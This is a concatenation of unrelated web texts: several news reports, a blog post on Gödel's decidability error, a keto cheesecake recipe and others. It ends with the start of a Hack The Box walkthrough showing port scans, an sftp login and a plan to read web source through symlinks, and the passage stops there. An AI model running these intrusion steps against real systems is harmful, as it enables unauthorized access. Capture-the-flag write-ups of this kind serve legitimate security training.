vote, given she is so critical of their policies on climate change and refugees. She said it was only a “guide” and she believed Wentworth voters could make up their own minds.

Greece: Idomeni Refugee Site Transfers In recent months, Idomeni, Greece, has been a tent city of over 10,000 men, women and children, refugees and migrants. Sanitary conditions were poor. There were scrambles for food, water and firewood. Most people slept in tents, but many slept in the open. Greek authorities started an operation on Tuesday to move the remaining 8,000 into new Government sites. UNHCR monitored the process.

WARNING: Screenshake. A lot of it. If the web player gives you problems or input delay then try the Windows or Mac download. Android version now available! A ridiculous twist of the arcade classic "Pong" based on the game jam theme "double". Use the W/S and Up/Down keys to play, or use the left stick on two controllers. If controllers don't work, try refreshing the page with both controllers connected. This game was made in several hours for NJ Games++ 2016 and was awarded best use of theme. It was also made in March 2016 for #1GAM. Follow me on Twitter if you want to see a new game every month! Pong is copyright Atari Inc.

Major screwups in mathematics: example 1 Last month I asked for examples of major screwups in mathematics. Specifically, I was looking for cases in which some statement S was considered to be proved, and later turned out to be false. I could not think of any examples myself. Readers suggested several examples, and I got lucky and turned up one on my own. Some of the examples were rather obscure technical matters, where Professor Snorfus publishes in Acta Quandalia that all partially uniform k-quandles have the Cosell property, and this goes unchallenged for several years before one of the other three experts in partially uniform quandle theory notices that actually this is only true for Nemontovian k-quandles. I'm not going to report on matters that sounded like that to me, although I realize that I'm running the risk that all the examples that I do report will sound that way to most of the audience. But I'm going to give it a try. General remarks I would like to make some general remarks first, but I don't quite know yet what they are. Two readers independently suggested that I should read Proofs and Refutations by Imre Lakatos, and raised a number of interesting points that I'm sure I'd like to expand on, except that I haven't read the book. Both copies are checked out of the Penn library, which is a good sign, and the interlibrary loan copy I ordered won't be here for several days. Still, I can relate a partial secondhand understanding of the ideas, which seem worth repeating. Whether a result is "correct" may be largely a matter of definition. Consider Lakatos' principal example, Euler's theorem about polyhedra: Let F, E, and V be the number of faces, edges, and vertices in a polyhedron. Then F - E + V = 2. For example, the cube has (F, E, V) = (6, 12, 8), and 6 - 12 + 8 = 2. Sometime later, someone observed that Euler's theorem was false for polyhedra with holes in them. For example, consider the object shown at right. It has (F, E, V) = (9, 18, 9), giving F - E + V = 9 - 18 - 9 = 0. Can we say that Euler was wrong? Not really. The question hinges on the definition of "polyhedron". Euler's theorem is proved for "polyhedra", but we can see from the example above that it only holds for "simply-connected polyhedra". If Euler proved his theorem at a time when "polyhedra" was implicitly meant "simply-connected", and the generally-understood definition changed out from under him, we can't hold that against Euler. In fact, the failure of Euler's theorem for the object above suggests that maybe we shouldn't consider it to be a polyhedron, that it is somehow rather different from a polyhedron in at least one important way. So the theorem drives the definition, instead of the other way around. Okay, enough introductory remarks. My first example is unquestionably a genuine error, and from a first-class mathematician. Mathematical background Some terminology first. A "formula" is just that, for example something like this: $$\displaylines{ ((\forall a.\lnot R(a,a)) \wedge\cr (\forall b\forall c.R(b,c)\to\lnot R(c,b))\wedge\cr (\forall d\forall e\forall f.(R(d,e)\wedge R(e,f)\to R(d,f))) \to\cr (\forall x\exists y.R(y,x)) }$$ It may contain a bunch of quantified variables (a, b, c, etc.), relations (like R), and logical connectives like ∧. A formula might also include functions and constants (which I didn't) or equality symbols (there are none here). One can ask whether the formula is true (or, in the jargon, "valid"), which means that it must hold regardless of how one chooses the set S from which the values of the variables will be drawn, and regardless of the meanings assigned to the relation symbols (and to the functions and constants, if there are any). The following formula, although not very interesting, is valid: $$ \forall a\exists b.(P(a)\wedge P(b))\to P(a) $$ This is true regardless of the meaning we ascribe to P, and regardless of the set from which a and b are required to be drawn. The longer formula above, which requires that R be a linear order, and then that the linear order R have no minimal element, is not universally valid, but it is valid for some interpretations of R and some sets S from which a...f, x, and y may be drawn. Specifically, it is true if one takes S to be the set of integers and R(x, y) to mean x < y. Such formulas, which are true for some interpretations but not for all, are called "satisfiable". Obviously, valid formulas are satisfiable, because satisfiable formulas are true under some interpretations, but valid formulas are true under all interpretations. Gödel famously showed that it is an undecidable problem to determine whether a given formula of arithmetic is satisfiable. That is, there is no method which, given any formula, is guaranteed to tell you correctly whether or not there is some interpretation in which the formula is true. But one can limit the form of the allowable formulas to make the problem easier. To take an extreme example, just to illustrate the point, consider the set of formulas of the form: ∃a∃b... ((a=0)∨(a=1))∧((b=0)∨(b=1))∧...∧R(a,b,...) for some number of variables. Since the formula itself requires that a, b, etc. are each either 0 or 1, all one needs to do to decide whether the formula is satisfiable is to try every possible assignment of 0 and 1 to the n variables and see whether R(a,b,...) is true in any of the 2n resulting cases. If so, the formula is satisfiable, if not then not. Kurt Gödel, 1933 One would like to prove decidability for a larger and more general class of formulas than the rather silly one I just described. How big can the class of formulas be and yet be decidable? It turns out that one need only consider formulas where all the quantifiers are at the front, because there is a simple method for moving quantifiers to the front of a formula from anywhere inside. So historically, attention has been focused on formulas in this form. One fascinating result concerns the class of formulas called [∃*∀2∃*, all, (0)]. These are the formulas that begin with ∃a∃b...∃m∀n∀p∃q...∃z, with exactly two ∀ quantifiers, with no intervening ∃s. These formulas may contain arbitrary relations amongst the variables, but no functions or constants, and no equality symbol. [∃*∀2∃*, all, (0)] is decidable: there is a method which takes any formula in this form and decides whether it is satisfiable. But if you allow three ∀ quantifiers (or two with an ∃ in between) then the set of formulas is no longer decidable. Isn't that freaky? The decidability of the class [∃*∀2∃*, all, (0)] was shown by none other than Gödel, in 1933. However, in the last sentence of his paper, Gödel added that the same was true even if the formulas were also permitted to include equality: In conclusion, I would still like to remark that Theorem I can also be proved, by the same method, for formulas that contain the identity sign. Oops This was believed to be true for more than thirty years, and the result was used by other mathematicians to prove other results. But in the mid-1960s, Stål Aanderaa showed that Gödel's proof would not actually work if the formulas contained equality, and in 1983, Warren D. Goldfarb proved that Gödel had been mistaken, and the satisfiability of formulas in the larger class was not decidable. Sources Gödel's original 1933 paper is Zum Entscheidungsproblem des logischen Funktionenkalküls ( On the decision problem for the functional calculus of logic ) which can be found on pages 306–327 of volume I of his Collected Works . (Oxford University Press, 1986.) There is an introductory note by Goldfarb on pages 226–231, of which pages 229–231 address Gödel's error specifically. I originally heard the story from Val Tannen, and then found it recounted on page 188 of The Classical Decision Problem , by Egon Boerger, Erich Grädel, and Yuri Gurevich. But then blog reader Jeffrey Kegler found the Goldfarb note, of which the Boerger-Grädel-Gurevich account appears to be a summary. Thanks very much to everyone who contributed, and especially to M. Kegler. (I remind readers who have temporarily forgotten, that Acta Quandalia is the quarterly journal of the Royal Uzbek Academy of Semi-Integrable Quandle Theory. Professor Snorfus, you will no doubt recall, won the that august institution's prestigious Utkur Prize in 1974.) [ Addendum 20080206: Another article in this series. ] [ Addendum 20200206: A serious mistake by Henri Lebesgue. ] [Other articles in category /math] permanent link

india Updated: Jul 22, 2019 07:20 IST Several parts of Delhi and the National Capital Region (NCR) received on Sunday the heaviest spell of rain yet for this monsoon season, leading to localised flooding and traffic jams that could have been worse had it been a weekday. The Safdarjung Observatory, which represents Delhi’s weather, recorded 50.2 mm rainfall between 8.30am and 8.30pm – a level categorised as ‘moderate’. The Aya Nagar weather station had the highest reading at 106 mm. “The monsoon trough is near Haryana and Punjab, which is close to Delhi. That is triggering the showers. Over the next two days there could be light rain and thunder activity. There could be another spell of ‘moderate’ to ‘heavy’ showers between July 24 and 27,” said Kuldeep Srivastava, head, regional weather forecasting centre (RWFC), India Meteorological Department. Previously, the day with the most rain was on July 15, when Safdarjung recorded 28.8mm. In all, the month of July – the first of the monsoon months for Delhi – has recorded 102.7mm, which is 20% lower than the normal for the period. Overall, the monsoon is 41% deficient in the national capital. The maximum temperature was 36.5°C, two notches below the season’s average while minimum temperature settled at 26.8°C, a notch below normal. Delhi traffic police and the PWD department said that at least 20 calls regarding waterlogging were received at the control room within an hour after it started raining. Some of the places where waterlogging took place include Tilak Bridge near ITO W-point, Madhuban Chowk on Outer Ring Road, Punjabi Bagh roundabout, Wazirpur, Rail underbridge near Bhairon Marg trisection on the Ring Road, Chatta Rail Bridge near Red Fort, Hanuman Mandir near Kashmere Gate, Rani Khera, and Katwaria Sarai, near Chirag Dilli flyover.

A reputed gangbanger who cornered and then shot an undercover FBI agent has been found guilty by a federal jury in Brooklyn. The panel deliberated over three days before convicting Ronell Watson Wednesday on charges of attempted murder of a law enforcement officer, assault and the use of a firearm. FBI Special Agent Christopher Harper missed the reading of the verdict by mere minutes, but pumped his fists and hugged a court officer when told by The Post that Watson had been found guilty on all counts. He declined to comment on the verdict. Watson’s family also declined to speak to reporters as they left court. In a rare move, the US attorney for the Eastern District of New York, Richard Donoghue, prosecuted the case himself, arguing that the 31-year-old reputed Crips member intended to kill Harper as he sat in a parked car in front of Watson’s Canarsie home while working surveillance. Harper was shot in the back before returning fire, catching Watson in the hand. Both men survived. Watson faces up to life behind bars when sentenced. “What was said in court was more than enough,” one juror who declined to give her name said as she left the courthouse. Other jurors declined to comment. Defense attorney Michelle Gelernt of the Federal Defenders did not immediately return a message.

Proposed new laws to "limit the impact" of UK-wide welfare reforms in Scotland have been passed by MSPs. A special Holyrood committee said there were "grave concerns" over Westminster plans for a new universal credit. The Scottish Parliament cannot stop Westminster changing the welfare benefits system. But Holyrood moved to pass new legislation to ensure people still have access to certain benefits, after MSPs protested against the UK reforms. The Scottish Parliament approved the Welfare Reform (further provision) (Scotland) Bill unanimously. Single credit The UK government wants to replace child tax credit, working tax credit, housing benefit, income support and others, in favour of a single, universal credit from 2013. The coalition says the changes would save £7bn in welfare spending and encourage people currently on benefits to go out and find a job. But Labour MSPs and the Scottish government said many in need of vital support would be worse off. This bill is not one which either the government or the opposition would wish to be necessary Drew Smith, Labour Deputy First Minister Nicola Sturgeon told Holyrood: "The only way we can ensure Scotland is no longer subject to the kinds of reforms that David Cameron was setting out earlier this week, the only way to protect Scotland from that is to make sure powers for these matters pass to this parliament." Labour's Drew Smith added: "This bill is not one which either the government or the opposition would wish to be necessary, but necessary it is and, when passed, it will mark the beginning of a new phase of considerations where we should look for opportunities to improve what we do, rather than just shore up our own parts of the system in the face of cuts coming from elsewhere." Alex Johnstone, for the Tories, said his party had agreed to support the bill but expressed "disappointment" that it had become necessary to do so. "We will continue to take the same position on welfare reform that we have had for a number of years," he stressed. Last December, the Scottish Parliament took the unprecedented step of voting against a Westminster "consent" motion, under which the UK government wanted Holyrood's permission to change the law, so its reforms would fit the Scottish system. MSPs decided to make the necessary legal changes themselves, and the Scottish government brought forward its own legislation to ensure policies tied to the UK benefits system, like free school meals and disabled parking, continue. MSPs support some aspects of the UK Welfare Reform Bill, including changes to data sharing, industrial injuries benefits and a new commission on social mobility and child poverty.

NEW YORK // Egyptian president Abdel Fattah El Sisi has had a good week. Newly proposed US foreign aid legislation free of political restrictions and a trip to Europe that has paid sizeable economic and diplomatic dividends have made clear that – for now at least – the momentum for repairing frayed ties with Cairo in the wake of Middle East chaos is showing no signs of slowing down. After refusing for months to invite Mr El Sisi to Germany on a state visit, chancellor Angela Merkel held talks with the Egyptian president in Berlin on Tuesday. While she said there are differences over Egypt’s domestic policies, such as the spate of death sentences for political opponents, the emphasis was not on criticism but common core security interests. “I think that if one wants to be partners and solve complex issues, we have to be able talk about these things ... this doesn’t mean that we can’t work very, very closely on other issues,” Ms Merkel said, capturing the international sentiment. The German leader’s previous position may have been tempered by the economic opportunities that Egypt offers German firms. A central aspect of Mr El Sisi’s European trip has been to promote economic ties, and his delegation also held meetings with representatives of major German corporations. It was announced that Egypt had awarded Siemens a record 8 billion euro (Dh32.7bn) contract to supply gas and steam power to significantly increase Egypt’s electricity generation. On Friday, Mr El Sisi held bilateral talks with the Hungarian prime minister, Viktor Mihaly Orban, in Budapest, to discuss economic cooperation and counter-terrorism and security. Egypt is key for a stable Middle East, and “since distances in the modern world have shrunk ... there is no stability in Europe without a stable Egypt,” Mr Orban said. In Washington, US relations with Egypt had hit a low in 2013 after Mr El Sisi, then a military commander, overthrew Egypt’s conservative president, Mohammed Morsi, after massive protests against his rule grew. US president Barack Obama suspended the annual $1.3bn (Dh4.8bn) in military aid that the United States has given to Egypt since it signed a peace deal with Israel in 1979. Many within the Obama administration believed, as they still do, that the stifling of political dissent and the crackdown on the Muslim Brotherhood will eventually lead to a new generation of radicalised Egyptians who will pose a security threat to the US, Egypt and the region. The freeze in the aid deeply angered Egyptian officials who were infuriated that, as they saw it, the administration withheld crucial equipment while they fought extremists in the Sinai Peninsula and on the border with Libya. But since the rampage of ISIL extremists across the region over the past year, the White House has steadily lifted the holds on aid out of security concerns. The only hold that has not been lifted was a democracy restriction that required the secretary of state to certify to congress that Egypt was taking steps towards full democracy, including by holding parliamentary elections. On June 2, however, the US congress moved a step closer to fully returning to the status quo aid relationship, with a House subcommittee introducing a draft of the 2016 foreign aid budget, worth $1.5bn overall (including military and non-military aid), which is free of any such reform conditions. The new bill would only require that the administration certifies that Cairo is sustaining its strategic relationship with the US and abiding by its peace treaty with Israel. It would also require the secretary of state to issue a classified report every 90 days that Egypt is taking steps to protect human rights and hold elections, but there are no conditions tied to this. However, the draft budget is currently only the subcommittee version and has yet to go through the full foreign relations committee. There will also be a version submitted over the summer by the Senate, where there are a number of powerful critics of Egypt. As a result, a final congressional vote on the budget is unlikely to happen before December. Perhaps in a concession to critics of Egypt in congress and the administration, the bill allows for $150 million of the total aid budget to go to non-governmental groups and democracy programmes in the form of economic support funds, and that Cairo would only receive money for budget support if the administration certifies it is stabilising its economy and implementing “market-based economic reforms”. “Egypt is critical to the stability of the Middle East. I respect that president Sisi has called on religious leaders to reject radical terrorism, and Egypt must continue to build a strong diverse democracy. And we must continue to help them create jobs and grow their economy,” Dutch Ruppersberger, a Democrat on the foreign aid subcommittee, said in a statement to The National. “That said, we need to ensure we protect our other ally, Israel, and work through some of the outstanding issues regarding foreign aid restrictions.” Some in the new Republican-dominated congress, in both parties, especially the House, have been vocally supportive of Mr El Sisi and a number of delegations have visited Cairo for talks with the Egyptian president. “The security issue is what made people in congress who otherwise would not have cared much to get on board with the idea that this is not the time for us to put on any types of restrictions” on aid, said Mokhtar Awad, an analyst of US-Egypt relations at the Center for American Progress think tank in Washington. At times, the US administration has had a contradictory stance on Egypt, but analysts doubted whether it would push for the restrictions to be reinserted. “There are people in the administration who are very frustrated with the actions of the Egyptian government,” said Stephen McInerney, executive director of the Project on Middle East Democracy in Washington. In its last report explaining its refusal to grant a democracy certification to Egypt, the US state department was scathing in its assessment of the El Sisi government. But the public disapproval has been muted, and the tone become more positive, though Egypt policy as a whole is not near the top of the US’ list of priorities in the region. “For the most part they (the Obama administration) don’t feel like the US has the ability to influence the behaviour of the Egyptian government and there is not much appetite to take any real tough stands,” Mr McInerney added. When Mr Obama announced his intention to fully resume military aid in late March, he also said that the nature of the aid would shift away from big-ticket items and weapons that the Egyptians wanted, to things the US feels are best suited to address Egypt’s security challenges. Aid would be channelled into a handful of categories, counterterrorism, counter-insurgency in Sinai, maritime security and border protection, Mr Obama said at the time. The credit system that allowed Egypt to buy what they wanted long in advance of receiving aid would also be abolished, giving the US yet more control. So far, Mr Awad said, there have been few concrete steps towards this recalibration and clarity on what the administration wants from Egypt in return for the full resumption of aid. There are real concerns in the administration about Egypt’s strategy for dealing with extremism, but the US has not made clear how it will tie its aid to a more effective strategy by Cairo. “At a policy level the administration needs to be able to clearly articulate and tie its [aid] commitments to security deliverables from Cairo,” Mr Awad said. “Without that they won’t bring many dividends to the US.” [email protected]

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¡Atención! Este artículo tiene más de un año y puede contener datos desactualizados 06 Septiembre, 2019 15:05 pm | Tiempo de lectura: 1 minuto Atención! Este artículo tiene más de un año y puede contener datos desactualizados 06 Septiembre, 2019 15:05 pm | Tiempo de lectura: 1 minuto Si tenés sólo unos segundos, leé estas líneas: El porcentaje destinado a la Seguridad Social es la parte más importante del presupuesto nacional. Pero la mayoría son jubilaciones y pensiones, no programas sociales. La asistencia social, que incluye diversos tipos de planes y becas, representa alrededor del 5% del presupuesto. El senador y candidato a vicepresidente por Juntos por el Cambio, Miguel Ángel Pichetto, criticó las protestas de las organizaciones sociales en una entrevista con radio La Red y señaló que “es una de las causas del endeudamiento público, mantener el sistema de seguridad social en la Argentina. 65% del total del presupuesto está comprendido ahí: en planes, piqueteros, cooperativas de la pobreza, cartoneros, multinacionales del cartón, en fin”. La Seguridad Social en la Argentina representa efectivamente un porcentaje alto del presupuesto nacional, es el 49% (aunque alcanza el 60% si no se incluye lo que está previsto pagar de deuda pública ese año), pero la gran mayoría se destina a las jubilaciones y pensiones, no a los programas sociales, como sugirió Pichetto. Las jubilaciones representan el 34% del presupuesto y son el gasto más importante del gobierno nacional. Para 2019 está planificado un gasto de $1,4 billones en prestaciones previsionales. Los diferentes programas sociales, en cambio, suponen montos muchos menores. La promoción y asistencia social representa el 1,82% del presupuesto. Esto incluye a los programas que manejan el Ministerio de Salud y Desarrollo Social, la Agencia Nacional de Discapacidad y el Instituto Nacional de Asociativismo y Economía Social, entre otros organismos. Si a eso se suma el presupuesto destinado a la Asignación Universal por Hijo, que no está incluida en el ítem ya que depende de Anses, el total llega a 4,7% del presupuesto, muy por debajo del monto señalado por el senador y candidato. “La parte más importante del presupuesto es el gasto público social, que incluye educación, salud, asistencia social, y lo más fuerte es la parte de seguridad social, específicamente lo que tiene que ver con jubilaciones y pensiones”, explicó a Chequeado Rafael Flores, especialista de la Asociación Argentina de Presupuesto (ASAP). El gasto público social creció como parte del presupuesto en 2019 en relación a 2018, en parte porque varios de estos gastos, como las jubilaciones, están fijados por ley y no se pueden modificar, por lo que los gastos se mantienen a pesar de que el presupuesto general se achicó en términos reales, por lo que su participación aumentó (como se explica en esta nota). Lo mismo pasó contra 2015: el gasto social representa más en proporción al presupuesto, porque el gasto total cayó. Temas

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US-China trade war truce: Europe and Asia stock markets higher as Trump says China will halt new car tariffs The winners of the US-China trade war so far China’s exports to US grow despite US tariffs China is working to exempt some U.S. agricultural products China’s Customs Tariff Commission of the State Council said Friday that the country is working on tax exemptions on part of the soybeans and pork imported from the United States, a move that could take some heat out of talks aimed at agreeing on a truce in the trade war. The committee will apply a range of goods to be excluded from tariff countermeasures against the U.S. Section 301 measure, it said. In September, Beijing announced it would exclude some soybeans and pork products from its newest tariffs. According to domestic needs, Chinese enterprises import a certain amount of goods from the United States through market-based procurement. The enterprises are expected to purchase goods eligible for an exemption based on independent negotiation, import as they see fit, and bear the related profits or losses, the commission said. China was the biggest market for US producers before Beijing retaliated against US tariffs. In 2018, exports of soybeans to China fell to $3.1 billion, down from $12.2 billion the year before. If you like this article, please help us by making a donation so that we can continue our work. Please help keep us independent. Pork producers are also concerned that they are missing out on a growing Chinese market, where demand has stimulated because of an outbreak of African swine fever that has ravaged China’s pig herds.

Uncomfortable Situation Seal talking to a new friend about cheating ex turns out to be one of the girls he cheated with

The chart-topping team of Joss Whedon & John Cassaday are teaming up once again to celebrate Captain America's 75th anniversary, ComicBook.com has confirmed with Marvel. Appearing in Captain America: Sam Wilson #7, the two will tell an all-new story celebrating the legacy and legend of Captain America. The issue will also feature a main story from series creative team Nick Spencer & Daniel Acuna, and another backup by Greg Rucka & Mike Perkins. Whedon & Cassaday first hit the scene together in 2004 with Astonishing X-Men which was a runaway train of success both critically and in sales. The two brought about the return of Colossus and even had an aspect of their story adapted in X-Men: The Last Stand. Whedon & Cassaday also introduced many new X-Men characters to the Marvel Universe including, Blindfold & Armor. Cassaday is no stranger to Captain America, having drawn an issue of Fallen Son: The Death Of Captain America and a Captain America limited series with John Ney Riber. Captain America: Sam Wilson #7 has a final order cutoff of March 7th and will hit comic shops everywhere on March 30th. So what do you think ComicBook.com readers? Are you excited to see Joss Whedon & John Cassaday together again? Let us know in the comments below!

Cheesecake recipes are a dime a dozen on the keto diet. They’re the perfect low carb, high fat food – being comprised primarily of delicious cream cheese – so they’re a common go-to for a keto-friendly dessert. However, most of the cheesecake recipes I’ve tried have seemed a little… off. They had a funky texture or you could taste the fake sugars in them. And let’s not even get started on no-bake or jello cheesecakes… I am a cheesecake connoisseur over here, and if you’re going to take the time to make a cheesecake, it needs to be a big and dense New York-style concoction. Growing up, I was inundated with desserts in my family. My Gran-Gran, Meemaw, mom, and a veritable slew of aunts and great-aunts can cook almost anything. But the one thing that no one in my family had perfected was cheesecake. So a few years ago, when my Mom asked for one for her birthday, I set out to become the lone cheesecake cook. Let’s just say we ate a lot of cheesecake in the week leading up to her birthday, and I hadn’t really felt like making it since. But I had totally perfected it. And so last week, when I began to think of what I could bake to take to our end-of-the-project bash at work and/or Easter with the family, my thoughts returned to that perfect, New York-style cheesecake. I dug up that original recipe and realized that I could alter it quite easily to fit low carb parameters. But would it taste the same, and would it have that same dense and creamy texture? Spoiler alert: it does. Allow me to go ahead and apologize for the pictures. I may have gotten a little… overzealous… with the whipped cream (as my cousin said, “playing Cheesecake Factory is my favorite game!”). It was also dark and dreary and the lighting is meh. But whatever. Just hone in on that sweet, cold and creamy cake paired with those delectable, juicy and ripe red strawberries… and the mountains of whipped cream. But I digress. Ingredients For the crust, 1/2c almond flour 1/2c golden flaxmeal 1/2c pecan pieces 4T coconut oil cinnamon to taste Splenda or sweetener to taste For the filling, 4 8oz packages of cream cheese 1c sour cream 4 eggs 1c Splenda, or equivalent sweetener of your choice 3/4c heavy cream 1/4c coconut flour 1T vanilla extract 3T sugarfree Torani syrup; this time I used French Vanilla (and next time I’m totally going Salted Caramel) First things first, let’s talk necessary kitchen equipment. For this cheesecake, you are going to need a springform pan. That’s a pan that has a removable bottom, as pictured above. Think of the springform pan as more of a mold than a traditional cake pan. You cook the cheesecake in it, then remove it from around the cheesecake, hopefully without cracking the top. I like to lay a piece of parchment paper over the bottom part of the pan, then attach the ring around it so the paper peeks out around the sides. Then, when my cheesecake is done, I can transfer it easily to a serving plate while removing the side and bottom for easy cleanup. Preheat your oven to 400. Combine your pecan pieces, almond flour, flaxmeal, and coconut oil. Add sweetener and cinnamon to taste. If you add those to the crust, it flavors it like graham crackers, a nice nod to the more traditional cheesecake crust. You may need to zap this concoction in the microwave if your coconut oil is solidified. The house I live in maintains a temperature roughly equivalent to hell, so I don’t have to worry about that. Press the mixture firmly into the bottom of the springform pan. If you used parchment paper, you do not need to grease the bottom of the pan. If you didn’t, butter that shit up. Bake the crust until it turns a golden brown. Mine ranges from 5-8 minutes. I used to like to just use Caveman Keto’s crust, but I decided to try to mix in some flaxmeal and I actually like this version better. It’s more firm and less crumbly, which I prefer. It holds together better. Oh, and yeah. While that is baking away, mix everything else together in your mixer. Or beat it with a mixer. Somehow incorporate all the ingredients into a flawless, creamy goodness. Then when the crust is done, grease up the sides of the springform pan and pour your mixture into it. Smooth the filling out as best you can. I like to tap the whole pan lightly on the counter to help it settle and to also help release air bubbles, which are a potential culprit of cracks. For some reason I did NOT tap this pan, and you can definitely tell in the end results. I wish I had pictures of the first cheesecake I made – it was gorgeous and crack-free. Ahh, you’ll just have to take my word for it. So let’s talk some more about cracks. Cheesecakes are very sensitive, and if you don’t bake them very very carefully, they can develop ugly cracks across the top. It’s unattractive, and it’s the goal of all cheesecake baking enthusiasts to produce a flawless cake. It’s like, your status symbol, or something. The prime culprit for cracks is temperature fluctuations, and there are a few ways to combat this. Never bake your cheesecake hotter than 350. Low and slow is the way to go. In fact, since you just baked the crust at 400, leave the oven door open until it cools down. You don’t want to stick it into a too-hot oven. Use a water bath. You can literally sit the springform pan in a pan of water. For these cheesecakes, I just placed a cake pan of water on the lower oven rack to steam and keep the oven moist. Don’t over-beat the filling, because – as I mentioned before – too much air can cause cracking. I’m not going to lie, I just let my KitchenAid run, so I like to let my filling sit in the springform pan for a good 10 minutes or so to settle some, before I tap it to let out even more air. Don’t open the oven door while it’s cooking. The sudden rush of cool air can cause cracks. Cut off the cheesecake at 50 minutes, and let it sit in the oven with the door shut for some time. Maybe an hour later, crack the oven door. Then a half hour after that, open it fully. And then remove the cheesecake, and run a knife along the edges of the pan to make sure that it’s not stuck (although it shouldn’t be if you greased it properly). The cheesecake shrinks as it cools, and if it’s glommed onto the side of the pan, it will surely crack as it tries to pull away. So again, bake your cheesecake at 350 for 50 minutes. If it doesn’t look quite done, it’s probably not – but it will continue to bake residually after you turn off the oven and begin the cooling-down process. It should be nicely browned by that point, though the center may look like it’s not quite set. Trust me, after you get through with waiting for it to cool enough to handle safely, you’ll have a beauty waiting on you. Or you might have something that looks like that. Yeah, so I didn’t follow my own advice, and cheesecake numero dos – the one I shot for this blog – turned out kind of fugly. Ah, well. It was still delicious. You also have the luxury of disguising the ugliness by whipping up a fruit topping or covering it with a dark chocolate ganache. Since I served this one to my family at Easter, we just sliced it plain and topped it with strawberries. Oh, and before I forget to tell you – stick this baby in the refrigerator and let it sit for several hours before you eat it. We had a slice of the first one after a few hours, and it was okay. But 12 hours later, it was a rockstar. For this second cake, I just popped it in the fridge overnight and allowed it to set up properly before Easter dinner. Although you’ll want to chow down immediately, try to wait until it gets properly cold :) It’s totally worth it! And let me tell you, even though Canadian Bacon and I are the only ketopians in the family, the cheesecake was a decisive hit. No one could tell that it was low carb. It didn’t taste funny from the combo of Splenda and Torani. It was flavored throughout with a delicate vanilla, and paired wonderfully with the sweet berries and whipped cream. It was tall and thick and reminiscent of the pieces of plain cheesecake you get at The Cheesecake Factory. Forreals. My Fitness Pal has changed the way you input recipes, so I can’t post my typical ingredient log picture below. But at 8 servings, this cheesecake has 439 calories, 8g net carbs, 11g protein, and 38g fat per slice. It’s very dense and creamy and filling. Hell, it’s so low carb that my diabetic grandfather’s bloodsugar crashed a couple of hours after eating a piece… seriously! It’s so good that my cats tried to eat it while I was taking photos of it. You’re not fooling anyone, Storm. Leave a comment with your thoughts! I read every comment and I love talking to this community. Make sure you Like my Facebook page so you can see when I do Live cooking videos and follow my Instagram to view my daily meals. If one of my recipes looks good to you, hit the pin button to share it on Pinterest! And don’t forget to subscribe to my YouTube channel for fun product reviews, vlogs and more. Print Pin New York-Style Keto Cheesecake Servings 8 Ingredients 8oz package cream cheese 1 cup sour cream 4 eggs 1 cup splenda (or sweetener of your choice) 3/4 cup heavy cream 1/2 cup coconut flour 1 tbsp vanilla extract 3 tbsp sugarfree Torani Syrup This time I used French Vanilla Instructions Preheat your oven to 400. Combine your pecan pieces, almond flour, flaxmeal, and coconut oil. Add sweetener and cinnamon to taste. You may need to microwave this concoction if your coconut oil is solidified Press the mixture firmly into the bottom of the springform pan. If you used parchment paper, you do not need to grease the bottom of the pan. If you didn’t, butter that up (SPRING FORM PAN RECOMMENDED) Bake the crust until it turns a golden brown. Mine ranges from 5-8 minutes. While that is baking away, mix everything else together in your mixer. Or beat it with a mixer. Somehow incorporate all the ingredients into a flawless, creamy goodness. Then when the crust is done, grease up the sides of the springform pan and pour your mixture into it. Smooth the filling out as best you can. I like to tap the whole pan lightly on the counter to help it settle and to also help release air bubbles, which are a potential culprit of cracks Bake your cheesecake at 350 for 50 minutes. If it doesn’t look quite done, it’s probably not – but it will continue to bake residually after you turn off the oven and begin the cooling-down process. Tip: Stick this baby in the refrigerator and let it sit for several hours before you eat it. (As a disclaimer, the product links are linked to my Amazon Affiliate account. I’ve never used this before but I’m going to give it a shot and see how well it works. In theory, I should get a small kickback if you purchase the product through that link. Product costs are not increased for you, just Amazon gives me a tiny percent of the profit for sending you their way. Maybe I’ll get rich and can retire from this life of crime.)

Aug 31, 2019 | 24 minutes read Tags: hack-the-box, ssh tunneling, tunnels, sftp, php, apt, apt-get, man-in-the-middle, mitm, unrestricted-file-upload, sudo, linux, source-code-analysis My hat goes off to onetwoseven’s creator jkr; this box was top-notch. The flow of the box was seamless. Enumeration felt like a natural progression and the breadcrumbs were plentiful and placed in logical locations (often in more than one spot to facilitate multiple avenues of approach). I was really impressed with his first box submission. His second box Writeup is still active and not as difficult, but still high quality. At the time of this writing, onetwoseven is about to be replaced by another jkr box: zetta. I’m definitely looking forward to it! Scans masscan As usual, we start with a masscan followed by a targeted nmap . masscan -e tun0 --ports U:0-65535,0-65535 --rate 700 -oL masscan.10.10.10.133.all 10.10.10.133 ══════════════════════════════════════════════════════════════════════════════════════════════ open tcp 22 10.10.10.133 1562031220 open tcp 80 10.10.10.133 1562031259 nmap nmap -p 22,80 -sC -sV -oA nmap.10.10.10.133 10.10.10.133 ════════════════════════════════════════════════════════ PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA) | 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA) |_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Page moved. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Initial Access Normally, this is where we would perform forced browsing or some form of automated web scan. However, there is rate-limiting, so we need to manually browse the site. There’s a portion of the site that tells us as much, though most folks found out the hard way. While browsing, we come across http://10.10.10.133/signup.php and see that it provides us credentials for sftp . We also see the use of a domain name onetwoseven.htb . Before moving on, let’s update our local DNS entry for the box in /etc/hosts . /etc/hosts ══════════ -------------8<------------- 10.10.10.133 onetwoseven.htb -------------8<------------- With that done, let’s check out what we have access to on the remote filesystem. We’ll start by accessing the sftp server as our pre-generated user. Because uploading and executing a web shell does not work, let’s check out what commands are available to us with the help command. sftp [email protected] [email protected]'s password: 122f1def Connected to [email protected]. sftp> help -------------8<------------- lmkdir path Create local directory ln [-s] oldpath newpath Link remote file (-s for symlink) lpwd Print local working directory ls [-1afhlnrSt] [path] Display remote directory listing -------------8<-------------ln - symlink oldpath newpath Symlink remote file -------------8<------------- Creating a symlink sounds like it has potential and the public_html folder is writable; let’s see where it takes us. Source Code Recovery Let’s begin with some source code recovery. We’ll utilize the symlink command to allow us to browse the raw php files. Some files of 